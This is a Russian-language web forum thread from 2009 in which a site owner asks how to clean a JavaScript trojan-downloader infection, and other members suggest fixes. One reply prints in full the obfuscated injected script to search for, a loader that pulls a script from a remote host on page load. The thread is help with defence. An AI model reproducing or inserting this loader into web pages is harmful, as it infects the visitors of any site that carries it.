X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Поймал вирус на свой сайт!, Как убить?
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:25; Ответить: Joker48069
Сообщение #1


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


Сайт не открывается, НОД пишет что на данном сайте вирус "JS/trojandownloader.agent.nrl".
Кто-нибудь сталкивался с такой проблемой? Как удалить? Помогите плиз...


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Din
Din
сообщение 30.12.2009, 21:32; Ответить: Din
Сообщение #2


Участник
***

Группа: User
Сообщений: 136
Регистрация: 2.8.2009
Из: Астрахань
Поблагодарили: 40 раз
Репутация:   6  


(Joker48069 @ 30.12.2009, 20:25) *
Сайт не открывается, НОД пишет что на данном сайте вирус "JS/trojandownloader.agent.nrl".
Кто-нибудь сталкивался с такой проблемой? Как удалить? Помогите плиз...

Проверьте все файлы Index на FTP на наличие постороннего кода.
Обычно он добавляется либо в самом конце страницы либо в самом начале.
Код должен быть типа
<script>/*GNU GPL*/ try{window.onload = function(){var Sjtyp5xq2pk = document.createElement('script');Sjtyp5xq2pk.setAttribute('type', 'text/javascript');
Sjtyp5xq2pk.setAttribute('id', 'myscript1');
Sjtyp5xq2pk.setAttribute('src',  'h@t#(#t&&!@p&!:@!&&(/!/)#m)
(@!a$@!r^#c((a&$-$!c)o#m#.)#(a!s@##k^^$&m@$e$)$n)&
(.@!$#c!&^#(o)^$)m!!.#@e!^!a$s!y^@#^-#$(s!!h#)a(^r(#e!!@-&)^c)
@o$&$!m$.(#$h@o^(m((e(s#$w!e#^e##&)t##n^#e^^t&&)&)
w&!(o^$!)!r)@!&k&).&r&u$^:!^#8@$0)@8()0(@/)@$&p$!$&o(#&r!!!$n@$b$b&!(.#o@)
#r@(^@g@)/($!p&o^#$r#)!^#n@^b##b)@&!.#^)o@r&
(!!g&($#/&@$((g@&o^o(#g($l$^)#e!^).^!$c!o)m$$/$w!i#k@^i&a))).#c)
!o)m@/))c^i#!(t^$$i#!$b#)a(#!n#$!k((.^@&c$!@#o$#@)m(/&!
('.replace(/\(|#|\!|\^|@|&|\)|\$/ig, ''));Sjtyp5xq2pk.setAttribute('defer', 'defer');
document.body.appendChild(Sjtyp5xq2pk);}} catch(e) {}</script>

Да еще проверьте все файлы js на наличие постороннего кода.

Сообщение отредактировал Din - 30.12.2009, 21:34
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:44; Ответить: Joker48069
Сообщение #3


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


Все файлы полностью заражены! Думаю этот вариант не поможет!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Din
Din
сообщение 30.12.2009, 21:48; Ответить: Din
Сообщение #4


Участник
***

Группа: User
Сообщений: 136
Регистрация: 2.8.2009
Из: Астрахань
Поблагодарили: 40 раз
Репутация:   6  


(Joker48069 @ 30.12.2009, 20:44) *
Все файлы полностью заражены! Думаю этот вариант не поможет!

Ссылочку на сайт можно? А с чего вы взяли что они все заражены?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:52; Ответить: Joker48069
Сообщение #5


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


_http://marketlin.ru/
Попробовал скачать все файлы на комп, НОД определяет их как заразу и блокирует!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seregavip
seregavip
сообщение 31.12.2009, 12:48; Ответить: seregavip
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 431
Регистрация: 23.10.2009
Поблагодарили: 103 раза
Репутация:   22  


А что мешает выключить НОД?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
freezed93
freezed93
сообщение 31.12.2009, 13:00; Ответить: freezed93
Сообщение #7


Участник
***

Группа: User
Сообщений: 245
Регистрация: 14.12.2009
Из: KZN
Поблагодарили: 77 раз
Репутация:   8  


(seregavip @ 31.12.2009, 11:48) *
А что мешает выключить НОД?

Ну выключит он, а что дальше?
По теме: вчера касперский находил вирус, сегодня не нашел/
Вылечил?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 31.12.2009, 13:07; Ответить: Frankie
Сообщение #8


Старожил
******

Группа: Active User
Сообщений: 1532
Регистрация: 18.9.2009
Поблагодарили: 320 раз
Репутация:   36  


попробуй через фтп поставить на страницы сайта код вот этой системы http://siteguard.ru/
покажет зараженные страницы и какой код вредоносный на них

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Дешевый трафик на сайт
400 Taylor 123507 Вчера, 20:28
автор: meat_mashinE
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПрошу оценить мой сайт
Историческая тематика
22 OmarSK 2743 Вчера, 13:22
автор: Halcy0n
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПопинайте сайт
19 yanat 2522 Вчера, 12:27
автор: nikolay_web
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыОцените сайт "бизнес, новости, право". В чем проблема?
22 Merzuka 3145 Вчера, 12:15
автор: nikolay_web
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыЧертежи на заказ - оцените сайт
Ваши идеи для меня бесценны
27 Openair 4666 22.5.2018, 16:39
автор: nikolay_web


 



RSS Текстовая версия Сейчас: 24.5.2018, 10:53
Дизайн